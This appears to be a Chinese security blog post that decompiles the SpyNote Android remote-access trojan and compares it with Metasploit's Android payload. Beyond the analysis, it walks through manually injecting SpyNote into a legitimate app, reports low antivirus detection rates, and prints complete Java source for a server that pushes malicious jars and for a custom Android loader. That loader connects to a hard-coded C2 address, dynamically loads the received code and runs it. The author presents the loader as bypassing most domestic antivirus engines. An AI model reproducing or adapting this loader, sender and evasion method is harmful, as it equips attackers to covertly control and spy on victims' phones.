文章作者:MG1937
QQ:3496925334
CNBLOG:ALDYS4
未经许可,禁止转载
说起SpyNote大家自然不陌生,这款恶意远控软件被利用在各种攻击场景中 甚至是最近也捕获到了利用"新冠病毒"进行传播的SpyNote样本 方便的Gui操作页面,行云流水的攻击过程... 但它真有那么优秀以至于无懈可击吗? 著名渗透测试框架Metasploit中的安卓载荷和它相比到底如何呢?
先利用SpyNote输出一个受控端APK
如图,程序主入口为 yps.eton.application.M
跟进
程序最终会进入第一处标记处,直接启动A类服务
若在输出APK时在SpyNote中选中了防用户卸载选项,程序还会继续向下进入第二处分支
尝试申请权限并接管设备管理器
跟进A类服务
如图,A方法重写onCreate方法后立刻调用startForeground
方法在前台弹出一个通知栏
从而使自身应用对用户"可见",借此提高系统优先级进行保活(虽然Android6.0以后保活基本不可能实现了)
在该方法内继续向下执行,程序进入a方法
a方法体的开始,程序又会进入j方法中
如图,j方法体尝试获取root权限,并用获取了root权限的Runtime
实体尝试输出文件,以此判断应用是否拥有最高权限
跳出j方法,程序进入h方法体,到此为止,Payload才被正式加载
跟进h方法
h方法体新建立了一个线程,方便进行网络操作
继续向下执行至标记处,程序获取了键为"ArrayDns_Key"
中的值,而该键的值正是C2的地址与端口
继续向下执行,C2地址被分别赋予n成员
继续向下执行,程序将n成员中的C2地址与端口提取出来,实体化一个InetSocketAddress
实例并传入
在第二处标记处,程序就正式向C2地址建立连接了
请注意,在第三处标记点,q成员被赋予C2地址的IO流,此处执行在下面还会有体现
接下来程序进入i方法体,该方法体与Payload的加载密切相关
由于JADX
没能成功反编译i方法,故使用JDCORE
继续进行操作
i方法体内,程序同样新建立一个线程,读图可以很容易看出在此线程内程序就尝试接管电源与网络控制器了
继续向下看
此处的m方法在编辑器中并没有找到,大概是因为反编译工具的问题,所以此处从smali层直接阅读代码
首先在smali中找到i方法体,可以看到A$25.smali
文件正是程序建立线程的地方
跟进
在该smali文件中我找到之前的那处执行,可以看见m方法体需要传入一个A类成员,并且返回对象为BufferedReader
找到m方法
可见m方法返回了q成员,正是与C2地址建立连接的IO流对象
这里我将反编译工具没有正常显示但仍然需要用到的方法全部展示一遍
b方法:将传入的参数存入o成员
n方法:取出o成员
将几个会用到的方法展示完成后继续查看代码
如图,第一处标记程序将取出与C2地址的IO流并检查连接是否建立
接着在第二处标记程序读出IO流中的数据,暂时存入i成员
继续向下执行,程序在读出IO流中的数据后转换为String
,并最终利用b方法存入o成员
在最后一处标记点,程序检查o成员是否以"c2x2824x82..."
开头和结尾,若不是则继续循环上面的步骤
这里不难看出受控端与C2地址传输信息的方式是以某些特殊字符作为标记,并以此区分哪些是C2下达的指令
继续执行,程序会将C2传输来的信息与写死在本地的字符进行比较,以此来执行C2想让傀儡机执行的代码
例如传输来的信息如果是"shell_terminal"
程序将会进入如下分支
最终程序将执行j类的a方法体
通读代码不难得出该方法就是在本机执行任意代码并向C2地址回传命令的回显
至此,SpyNote
的运行流程分析完毕
从上面的SpyNote分析过程来看
SpyNote
加载恶意代码的方法很直接但却十分笨拙
如流程图所示
SpyNote的工作仅仅是接收命令,执行命令,回传命令
明明非常简单,但又为什么说它十分笨拙?
将代码”全部写死在本地,时机适当时予以调用“的执行方式的确很简单
但随之而来的代价就是极高度的代码耦合与极其不便捷的维护与软件升级
以这种方式加载代码完全没有考虑到中马机适应C2功能升级的情况!
试想一下,若控制端与中马机的通讯方式更新,老旧的中马机不但不能随之得到及时的功能更新
反而还可能因为无法解析新的通讯方式而与控制端失去联系
关于安卓载荷的运行流程
可以查看我之前写的一篇博文
【逆向&编程实战】Metasploit安卓载荷运行流程分析
这里简要介绍一下它加载Payload
的核心方法
看到图中用箭标所指处的对象了吗?DexClassLoader
是的,这就是Metasploit安卓载荷
加载Payload的核心
不会吧不会吧?就这? 这就是所谓的加载方式?你tm在逗我?
好吧,先来看看官方文档中对这个对象如何进行解释
AndroidDocument-DexClassLoader
如标记处所讲,DexClassLoader
可以从jar
或apk
文件中动态执行自身应用中不存在的class
文件
若看过我之前那篇对安卓载荷的分析,就已经可以清楚地知道Payload
的加载方式
如果要用一句话对这种加载方式进行描述,那就是复杂但却十分灵活
其中DexClassLoader
对象有着极大的灵活性与操作空间
这种加载方式几乎使得载荷与C2服务器分别成为两个独立的个体
C2服务器中远控功能的更新几乎不需要与中马机进行任何互动
因为再怎么更新功能,只要将Jar文件传入载荷,载荷都会乖乖地动态加载其中的代码
倒不如说这种代码耦合性极低的运行方式反而使得SpyNote
更加显得臃肿和笨拙
SpyNote的客户端带有一个将恶意代码与其他正常软件合并的功能
注入测试用的Apk就用我17年左右开发的漫画软件罢(半成品,开发到一半服务器被墙了就没再动过这个项目)
如图,这就是输出的Apk,不过感觉样子好像没变
总之先上传到沙箱里看看
检出率完全没有任何变化?!
感到理解不能的我随之将输出的Apk进行再次反编译
依然跟进主入口
入口函数会获取自身资源中的merge_file
进行初步判断
最终程序将进入箭头所标的分支
跟进b方法
在第一处红线标记处,程序获取了自身raw
资源中google
文件的IO流
接着在本地以base.apk
的形式输出
最终实例化一个Intent
对象通知系统安装输出在本地的base.apk
查看raw文件夹中的google.apk
什么?!这不就是我想要注入的Apk吗?
到头来Spynote只是将Apk写入raw
资源文件里
接着受害者启动受控端的时候再输出正常应用并安装
你在逗我吗?这种可有可无的注入?这也太无能了吧?!
连恶意代码也完全没有变化,检出率当然不会改变了
好吧,既然SpyNote所谓的注入只是在资源文件层面的简单替换操作
那我就手动将恶意代码写入Apk后再进行总结吧
注入思路
graph LR A[正常APK] --> B(Apktool) C[恶意软件] --> B B --反编译--> D[正常的Smali] B --反编译--> E[恶意的Smali] E -- 写入 --> D D --> F[合并Smali的入口函数] F --指向--> G{恶意Smali的入口函数}将恶意代码写入正常Apk的流程不再过多阐述
这里只阐述关键步骤
由于SpyNote的受控端很多代码都需要从R文件中获取指定的资源文件
比如获取C2服务器的地址就需要从string
资源文件中获取键为host
的值
所以在复制指定资源文件到正常软件中时同样也要修改Smali代码中R.smali
对资源文件的声明
手动在R.smali
中分别声明了6个需要用到的资源文件
接着在需要调用到这些资源文件的代码依次替换这些资源所指向的值
但是完成这些并没有结束
受控端的代码还调用到了经过混淆的android-v7
库
只有将这个v7库再次插入应用的Smali层,接着在恶意Smali代码中引用才能使得软件正常运行
该步骤不再进行阐述
回编译后安装测试
可见在软件正常运行的同时Spynote上线
上传云沙箱
检出率下降到4
接下来对SpyNote的注入流程进行总结
SpyNote客户端所谓的"注入"与其说是注入,倒不如说只是套了个可有可无的壳子,连鸡肋都算不上
而手动注入时由于SpyNote
在多处调用到了资源文件,使得手动注入的过程变得十分繁琐
光是Debug
就花去了我十几分钟,明明可以在Smali
层进行操作,却要将关键数据写进资源文件的反智行为实在让我困扰
我想msfvenom
的注入功能不用过多阐述
这里只简要阐述一下
依然使用之前的Apk测试注入功能
云沙箱的3
检出率还算差强人意
反编译输出的Apk
尽管是几年前开发的软件,但整个软件的结构我仍然能够记起
图中标记处就是msfvenom
在清单文件中注入的信息
从后两处标记处不难得出这两处就是类名与包名混淆过的恶意代码
在程序入口处被注入了恶意代码的入口
可以直接跟进到Payload加载处
这里Payload就已经加载了,不再过多描述
恶意代码的整个注入过程可谓是行云流水
没有多余沉淀的资源文件,所有关键信息全部都保存在Smali
层
恶意代码的运行更是避免了调用到其他第三方类库,大大降低了代码耦合程度和注入复杂度
仅仅需要在适当时机调用恶意函数的入口,十分方便
相比SpyNote
多余的代码和文件就使得注入过程十分繁琐,不仅要手动声明资源
而恶意函数调用到的其他第三方类库还经过了混淆,这样就不得不再次将类库重新写入正常Apk
增大了软件体积。反而如果少了这种无意义的操作,软件还无法运行
抱歉,对于SpyNote来说,它几乎没有灵活性和扩展性可言!
这就是将恶意代码全部写死在本地的后果!
如果要扩展恶意代码的功能,那么就必须相应地更新控制端的代码以适应受控端的代码!
若是要扩展控制端的功能,那么就要相应地重写受控端代码!
SpyNote极高的代码耦合度
和操作的极其不便利程度
使得对SpyNote进行二次开发繁琐到几乎不可能
可谓是牵一发而动全身!
关于灵活性和可扩展程度,Metasploit可谓是几乎毫无疑问的完全站所有远控软件的上风
为什么这么说?还记得安卓载荷加载恶意代码的核心方法吗?对,就是DexClassLoader
对象
这个对象的实现功能可谓是给二次开发带来了极大的便利,我甚至不需要更新Msf自带的安卓载荷
就可以轻松实现在载荷上执行我所设想的新功能
由此我开发了一个载荷发送工具以便实现我想要的效果
开发原理与思路完全可以参照我上面所提到的之前写的一篇博文:
【逆向&编程实战】Metasploit安卓载荷运行流程分析_复现meterpreter模块接管shell
代码:
import java.io.DataInputStream; import java.io.DataOutputStream; import java.io.File; import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.IOException; import java.net.ServerSocket; import java.net.Socket; import java.util.Base64; public class Main { //Necessary Args private static String Port,dexLoadPath,dexLength,loadClass; public static void main(String[] args) { if(args.length<3) { System.out.println("Auth:MG1937 CSDN_Blog:Aldys4 QQ:3496925334\nExample:java -jar payloadSender.jar 1937 C:/evil.jar com.evil.Main"); } else { Port=args[0]; dexLoadPath=args[1]; loadClass=args[2]; try { getClient(); } catch (Throwable e) { // TODO Auto-generated catch block e.printStackTrace(); } } } public static void getClient() throws Exception { ServerSocket serverSocket=new ServerSocket(Integer.valueOf(Port)); System.out.println("[*]ServerSocket was built,wait for Connection..."); Socket socket=serverSocket.accept(); System.out.println("[*]"+socket.getInetAddress().toString()+" Has connected!Sending payload..."); Thread.sleep(1000); sendPayload(new DataOutputStream(socket.getOutputStream())); } public static void sendPayload(DataOutputStream outputStream) throws Exception { File file=new File(dexLoadPath); byte[] b=readPayload(file); dexLength=(int)b.length+""; System.out.println("[*]Send Class Length..."); outputStream.writeInt(Integer.valueOf(loadClass.length())); System.out.println("[*]Send Class you want to load..."); outputStream.write(loadClass.getBytes()); Thread.sleep(1000); System.out.println("[*]Send Payload Length..."); outputStream.writeInt(Integer.valueOf(dexLength)); System.out.println("[*]Send Payload..."); outputStream.write(b); System.out.println("[*]DONE!"); } public static byte[] readPayload(File file) throws Exception { try { int length = (int) file.length(); byte[] data = new byte[length]; new FileInputStream(file).read(data); return data; } catch (Exception e) { e.printStackTrace(); return null; } } }
简要描述一下这个工具的功能
依据载荷接收Jar和动态加载其中Dex的具体流程而开发的进行下发恶意Jar的工具
工具编写完成,接下来构造一个可被载荷执行的恶意Jar
如图,恶意代码的功能很简单
利用反射获取载荷的Context
实例
接着实例化一个Intent
对象,并通过这个对象打开我所指定的网址
编译Apk文件,取出其中的Dex
文件
如图,利用d2j
与dx
将dex文件重新打包成可被DexClassLoader
对象识别的Jar文件
利用工具发送至中马机进行测试
如图,当点击载荷时,自动与工具建立了一个Socket
连接
接着Jar被发送到载荷上时,浏览器自动打开了百度的页面
测试成功
或许有的人会问了
恶意代码所获取的Context
实例的父类不是Application
么?
那样的话能执行的命令还是会有限制
比如Application
对象就不能在子线程中调用runOnUIThread
函数操作UI
进程啊!
这还不简单吗?
既然载荷加载的核心方法已经知道了
那么就自己利用这种加载方法再开发一个载荷不就好了
MainActivity.java
getContext.java
如图,MainActivity
中是用来加载核心代码的类
而getContext
类则是以静态方法储存Context
的类
这么一来就大概都懂了吧
这样一来就可以在子线程中任意调用UI函数了!
重新编写测试用的恶意代码
如图,事先在工程里也创建一个和载荷同包名和类名的getContext
对象
接着在正式编译时删除恶意Jar中的getContext
对象,这样在执行时就会调用载荷里的Context
对象
这样一来载荷对象就真正被获取了
发送载荷,可以看见UI函数被成功操作,弹出了一个警示框
代码:
MainActivity
public class MainActivity extends Activity { String ip="192.168.0.104"; String port="1937"; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); getContext.setContext(this); new Thread(new Runnable() { @Override public void run() { try { getC2C(); }catch (Throwable e){} } }).start(); } public void getC2C() throws IOException { Socket socket=new Socket(ip,Integer.valueOf(port)); InputStream inputStream=socket.getInputStream(); OutputStream outputStream=socket.getOutputStream(); DataInputStream dataInputStream=new DataInputStream(inputStream); DataOutputStream dataOutputStream=new DataOutputStream(outputStream); try { getPayload(dataInputStream,dataOutputStream); } catch (Throwable e) { e.printStackTrace(); } } public void getPayload(DataInputStream dataInputStream,DataOutputStream dataOutputStream) throws Exception { final String str = this.getFilesDir().toString(); String str2 = str + File.separatorChar + Integer.toString(new Random().nextInt(Integer.MAX_VALUE), 36); String str3 = str2 + ".jar"; String str4 = str2 + ".dex"; String str5 = new String(getPayload(dataInputStream)); System.out.println(str5); byte[] a2 = getPayload(dataInputStream); System.out.println("byte get!"); this.getResources().getString(R.string.app_name); File file = new File(str3); if (!file.exists()) { file.createNewFile(); } FileOutputStream fileOutputStream = new FileOutputStream(file); fileOutputStream.write(a2); fileOutputStream.flush(); fileOutputStream.close(); Class loadClass = new DexClassLoader(str3, str, str, MainActivity.class.getClassLoader()).loadClass(str5); Object newInstance = loadClass.newInstance(); file.delete(); new File(str4).delete(); loadClass.getMethod("start", new Class[]{DataInputStream.class, OutputStream.class, Object[].class}).invoke(newInstance, new Object[]{dataInputStream, dataOutputStream, new Object[]{str,null}}); } public byte[] getPayload(DataInputStream dataInputStream) throws Exception { int readInt = dataInputStream.readInt(); byte[] bArr = new byte[readInt]; int i = 0; while (i < readInt) { int read = dataInputStream.read(bArr, i, readInt - i); if (read < 0) { throw new Exception(); } i += read; } return bArr; } }
getContext
public class getContext { static public Context context_=null; static public void setContext(Context context){ context_=context; } static public Context getContext_(){return context_;} }
从载荷发送工具编写到自主开发远控载荷的流程来看
Metasploit
的可扩展性和灵活程度是当之无愧的
相比起SpyNote
那种几乎无二次开发与扩展可能的远控工具来看简直是高下立判
由于SpyNote的代码高耦合度
,所有恶意代码都写在本地使得病毒特征明显
免杀似乎只能从Dex加壳的层面下手
这里不细讲
几乎开放式的恶意Jar动态加载过程不仅方便了二次开发
甚至是源码级免杀也能轻松实现
将在上一个模块我自主开发的载荷传入云沙箱
可以看到仅仅只有一检出率
bypass
了国内大多数主流反病毒软件
免杀效果可以说是非常理想了
从三个方面去对比和分析这两款远控工具
结果无一例外Metasploit
都完全占在上风
若要把SpyNote
比作是一把利剑的话,剑客就得去适应其剑身和握柄.
那么Metasploit
就是一块可以随意改造的模板,这个模板怎么使用全看铸剑人的意愿
可以说Metasploit
是一款开放性很强又极其灵活的工具,而SpyNote
只能算是被组装好的自动化武器,
它的拆卸,改装都很麻烦,似乎只能随着原开发者的意愿去使用
所以Metasploit
可以说是当代当之无愧的几乎所有远控工具的巅峰!